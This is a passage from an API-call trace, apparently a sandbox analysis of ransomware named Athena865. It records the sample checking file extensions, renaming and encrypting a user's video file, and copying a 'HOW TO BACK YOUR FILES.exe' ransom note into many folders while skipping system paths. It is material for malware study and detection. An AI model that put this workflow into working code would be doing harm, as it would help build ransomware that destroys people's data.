lstrcmpiW (lpString1="mp4", lpString2="udb") returned -1 [0053.396] lstrlenW (lpString="udl") returned 3 [0053.396] lstrcmpiW (lpString1="mp4", lpString2="udl") returned -1 [0053.396] lstrlenW (lpString="usr") returned 3 [0053.396] lstrcmpiW (lpString1="mp4", lpString2="usr") returned -1 [0053.396] lstrlenW (lpString="v12") returned 3 [0053.396] lstrcmpiW (lpString1="mp4", lpString2="v12") returned -1 [0053.396] lstrlenW (lpString="vis") returned 3 [0053.396] lstrcmpiW (lpString1="mp4", lpString2="vis") returned -1 [0053.396] lstrlenW (lpString="vpd") returned 3 [0053.396] lstrcmpiW (lpString1="mp4", lpString2="vpd") returned -1 [0053.396] lstrlenW (lpString="vvv") returned 3 [0053.396] lstrcmpiW (lpString1="mp4", lpString2="vvv") returned -1 [0053.396] lstrlenW (lpString="wdb") returned 3 [0053.396] lstrcmpiW (lpString1="mp4", lpString2="wdb") returned -1 [0053.396] lstrlenW (lpString="wmdb") returned 4 [0053.396] lstrcmpiW (lpString1=".mp4", lpString2="wmdb") returned -1 [0053.396] lstrlenW (lpString="wrk") returned 3 [0053.396] lstrcmpiW (lpString1="mp4", lpString2="wrk") returned -1 [0053.396] lstrlenW (lpString="xdb") returned 3 [0053.396] lstrcmpiW (lpString1="mp4", lpString2="xdb") returned -1 [0053.396] lstrlenW (lpString="xld") returned 3 [0053.396] lstrcmpiW (lpString1="mp4", lpString2="xld") returned -1 [0053.396] lstrlenW (lpString="xmlff") returned 5 [0053.396] lstrcmpiW (lpString1="1.mp4", lpString2="xmlff") returned -1 [0053.396] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\zXm1.mp4.Athena865") returned 72 [0053.396] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\zXm1.mp4" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\zxm1.mp4"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\zXm1.mp4.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\zxm1.mp4.athena865"), dwFlags=0x1) returned 1 [0053.397] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\zXm1.mp4.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\zxm1.mp4.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0053.397] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=44009) returned 1 [0053.397] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0053.397] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0053.397] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0053.398] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0053.398] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0053.398] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.398] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xaef0, lpName=0x0) returned 0x17c [0053.399] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xaef0) returned 0x100000 [0053.400] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0053.401] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0053.401] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.401] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0053.401] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0053.401] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52c810 [0053.401] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0053.401] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c810 | out: hHeap=0x4f0000) returned 1 [0053.401] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0053.401] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52aba0 [0053.401] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0053.401] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0053.401] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0053.401] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0053.402] CloseHandle (hObject=0x17c) returned 1 [0053.402] CloseHandle (hObject=0x154) returned 1 [0053.403] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0053.403] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0053.403] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0053.404] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd079b50, ftCreationTime.dwHighDateTime=0x1d4c62c, ftLastAccessTime.dwLowDateTime=0x93d0e780, ftLastAccessTime.dwHighDateTime=0x1d4d25d, ftLastWriteTime.dwLowDateTime=0x93d0e780, ftLastWriteTime.dwHighDateTime=0x1d4d25d, nFileSizeHigh=0x0, nFileSizeLow=0xabe9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zXm1.mp4", cAlternateFileName="")) returned 0 [0053.404] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0053.404] ReleaseMutex (hMutex=0xec) returned 1 [0053.404] CloseHandle (hObject=0xec) returned 1 [0053.404] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Adobe" | out: lpString1="C:\\Documents and Settings\\All Users\\Adobe") returned="C:\\Documents and Settings\\All Users\\Adobe" [0053.404] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528530 | out: hHeap=0x4f0000) returned 1 [0053.404] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x508fd8 | out: hHeap=0x4f0000) returned 1 [0053.404] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Adobe") returned 41 [0053.404] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\D330667593C8BF5723C81323FF741BD2") returned 0xec [0053.404] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0053.404] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Adobe" | out: lpString1="C:\\Documents and Settings\\All Users\\Adobe") returned="C:\\Documents and Settings\\All Users\\Adobe" [0053.404] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0053.404] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Adobe\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\adobe\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.405] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Adobe\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\adobe\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0053.405] GetLastError () returned 0x0 [0053.405] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0053.405] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0053.405] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0053.406] CloseHandle (hObject=0xf4) returned 1 [0053.406] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0053.406] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0053.406] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Adobe\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xbc5e2da0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc5e2da0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0053.406] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.406] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.406] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0053.406] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xbc5e2da0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc5e2da0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.406] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.406] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.406] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0053.406] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0053.406] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xc466d1a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc466d1a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0053.406] lstrcmpiW (lpString1="Acrobat", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.406] lstrcmpiW (lpString1="Acrobat", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.406] lstrcmpiW (lpString1="Acrobat", lpString2=".") returned 1 [0053.406] lstrcmpiW (lpString1="Acrobat", lpString2="..") returned 1 [0053.406] lstrcmpiW (lpString1="Acrobat", lpString2="windows") returned -1 [0053.406] lstrcmpiW (lpString1="Acrobat", lpString2="bootmgr") returned -1 [0053.406] lstrcmpiW (lpString1="Acrobat", lpString2="temp") returned -1 [0053.406] lstrcmpiW (lpString1="Acrobat", lpString2="pagefile.sys") returned -1 [0053.407] lstrcmpiW (lpString1="Acrobat", lpString2="boot") returned -1 [0053.407] lstrcmpiW (lpString1="Acrobat", lpString2="ids.txt") returned -1 [0053.407] lstrcmpiW (lpString1="Acrobat", lpString2="ntuser.dat") returned -1 [0053.407] lstrcmpiW (lpString1="Acrobat", lpString2="perflogs") returned -1 [0053.407] lstrcmpiW (lpString1="Acrobat", lpString2="MSBuild") returned -1 [0053.407] lstrlenW (lpString="Acrobat") returned 7 [0053.407] lstrcpyW (in: lpString1=0x241e89c, lpString2="Acrobat" | out: lpString1="Acrobat") returned="Acrobat" [0053.407] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x508fd8 [0053.407] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x64) returned 0x52e820 [0053.407] lstrcatW (in: lpString1="Acrobat", lpString2="\\" | out: lpString1="Acrobat\\") returned="Acrobat\\" [0053.407] lstrcatW (in: lpString1="Acrobat\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Acrobat\\HOW TO BACK YOUR FILES.exe") returned="Acrobat\\HOW TO BACK YOUR FILES.exe" [0053.407] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Adobe\\Acrobat\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\adobe\\acrobat\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.407] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xc466d1a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc466d1a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ARM", cAlternateFileName="")) returned 1 [0053.407] lstrcmpiW (lpString1="ARM", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.407] lstrcmpiW (lpString1="ARM", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.407] lstrcmpiW (lpString1="ARM", lpString2=".") returned 1 [0053.407] lstrcmpiW (lpString1="ARM", lpString2="..") returned 1 [0053.407] lstrcmpiW (lpString1="ARM", lpString2="windows") returned -1 [0053.408] lstrcmpiW (lpString1="ARM", lpString2="bootmgr") returned -1 [0053.408] lstrcmpiW (lpString1="ARM", lpString2="temp") returned -1 [0053.408] lstrcmpiW (lpString1="ARM", lpString2="pagefile.sys") returned -1 [0053.408] lstrcmpiW (lpString1="ARM", lpString2="boot") returned -1 [0053.408] lstrcmpiW (lpString1="ARM", lpString2="ids.txt") returned -1 [0053.408] lstrcmpiW (lpString1="ARM", lpString2="ntuser.dat") returned -1 [0053.408] lstrcmpiW (lpString1="ARM", lpString2="perflogs") returned -1 [0053.408] lstrcmpiW (lpString1="ARM", lpString2="MSBuild") returned -1 [0053.408] lstrlenW (lpString="ARM") returned 3 [0053.408] lstrcpyW (in: lpString1=0x241e89c, lpString2="ARM" | out: lpString1="ARM") returned="ARM" [0053.408] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a520 [0053.408] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5c) returned 0x524228 [0053.408] lstrcatW (in: lpString1="ARM", lpString2="\\" | out: lpString1="ARM\\") returned="ARM\\" [0053.408] lstrcatW (in: lpString1="ARM\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="ARM\\HOW TO BACK YOUR FILES.exe") returned="ARM\\HOW TO BACK YOUR FILES.exe" [0053.408] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Adobe\\ARM\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\adobe\\arm\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.408] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbc5e2da0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc5e2da0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0053.408] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0053.408] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbc5e2da0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc5e2da0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0053.409] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0053.409] ReleaseMutex (hMutex=0xec) returned 1 [0053.409] CloseHandle (hObject=0xec) returned 1 [0053.409] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Application Data" | out: lpString1="C:\\Documents and Settings\\All Users\\Application Data") returned="C:\\Documents and Settings\\All Users\\Application Data" [0053.409] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c9f0 | out: hHeap=0x4f0000) returned 1 [0053.409] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c608 | out: hHeap=0x4f0000) returned 1 [0053.409] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Application Data") returned 52 [0053.409] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\D5E6BD9F1B9E8EBB155F5F990C7E6FC6") returned 0xec [0053.409] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0053.409] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Application Data" | out: lpString1="C:\\Documents and Settings\\All Users\\Application Data") returned="C:\\Documents and Settings\\All Users\\Application Data" [0053.409] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0053.409] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.409] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0053.410] GetLastError () returned 0x0 [0053.410] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0053.410] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0053.410] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0053.410] CloseHandle (hObject=0xf4) returned 1 [0053.410] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0053.410] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0053.410] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Application Data\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb9e9c2a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb9e9c2a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0053.410] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.410] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.410] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0053.410] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb9e9c2a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb9e9c2a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.410] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.410] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.410] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0053.410] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0053.410] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xbc5e2da0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc5e2da0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0053.410] lstrcmpiW (lpString1="Adobe", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.411] lstrcmpiW (lpString1="Adobe", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.411] lstrcmpiW (lpString1="Adobe", lpString2=".") returned 1 [0053.411] lstrcmpiW (lpString1="Adobe", lpString2="..") returned 1 [0053.411] lstrcmpiW (lpString1="Adobe", lpString2="windows") returned -1 [0053.411] lstrcmpiW (lpString1="Adobe", lpString2="bootmgr") returned -1 [0053.411] lstrcmpiW (lpString1="Adobe", lpString2="temp") returned -1 [0053.411] lstrcmpiW (lpString1="Adobe", lpString2="pagefile.sys") returned -1 [0053.411] lstrcmpiW (lpString1="Adobe", lpString2="boot") returned -1 [0053.411] lstrcmpiW (lpString1="Adobe", lpString2="ids.txt") returned -1 [0053.411] lstrcmpiW (lpString1="Adobe", lpString2="ntuser.dat") returned -1 [0053.411] lstrcmpiW (lpString1="Adobe", lpString2="perflogs") returned -1 [0053.411] lstrcmpiW (lpString1="Adobe", lpString2="MSBuild") returned -1 [0053.411] lstrlenW (lpString="Adobe") returned 5 [0053.411] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Adobe" | out: lpString1="Adobe") returned="Adobe" [0053.411] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c608 [0053.411] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x76) returned 0x501b28 [0053.411] lstrcatW (in: lpString1="Adobe", lpString2="\\" | out: lpString1="Adobe\\") returned="Adobe\\" [0053.411] lstrcatW (in: lpString1="Adobe\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Adobe\\HOW TO BACK YOUR FILES.exe") returned="Adobe\\HOW TO BACK YOUR FILES.exe" [0053.411] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Adobe\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\adobe\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.412] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0053.412] lstrcmpiW (lpString1="Application Data", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.412] lstrcmpiW (lpString1="Application Data", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.412] lstrcmpiW (lpString1="Application Data", lpString2=".") returned 1 [0053.412] lstrcmpiW (lpString1="Application Data", lpString2="..") returned 1 [0053.412] lstrcmpiW (lpString1="Application Data", lpString2="windows") returned -1 [0053.412] lstrcmpiW (lpString1="Application Data", lpString2="bootmgr") returned -1 [0053.412] lstrcmpiW (lpString1="Application Data", lpString2="temp") returned -1 [0053.412] lstrcmpiW (lpString1="Application Data", lpString2="pagefile.sys") returned -1 [0053.412] lstrcmpiW (lpString1="Application Data", lpString2="boot") returned -1 [0053.412] lstrcmpiW (lpString1="Application Data", lpString2="ids.txt") returned -1 [0053.412] lstrcmpiW (lpString1="Application Data", lpString2="ntuser.dat") returned -1 [0053.412] lstrcmpiW (lpString1="Application Data", lpString2="perflogs") returned -1 [0053.412] lstrcmpiW (lpString1="Application Data", lpString2="MSBuild") returned -1 [0053.412] lstrlenW (lpString="Application Data") returned 16 [0053.412] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data" [0053.412] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c5a8 [0053.412] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8c) returned 0x532e50 [0053.412] lstrcatW (in: lpString1="Application Data", lpString2="\\" | out: lpString1="Application Data\\") returned="Application Data\\" [0053.412] lstrcatW (in: lpString1="Application Data\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Application Data\\HOW TO BACK YOUR FILES.exe") returned="Application Data\\HOW TO BACK YOUR FILES.exe" [0053.412] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\application data\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.413] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, 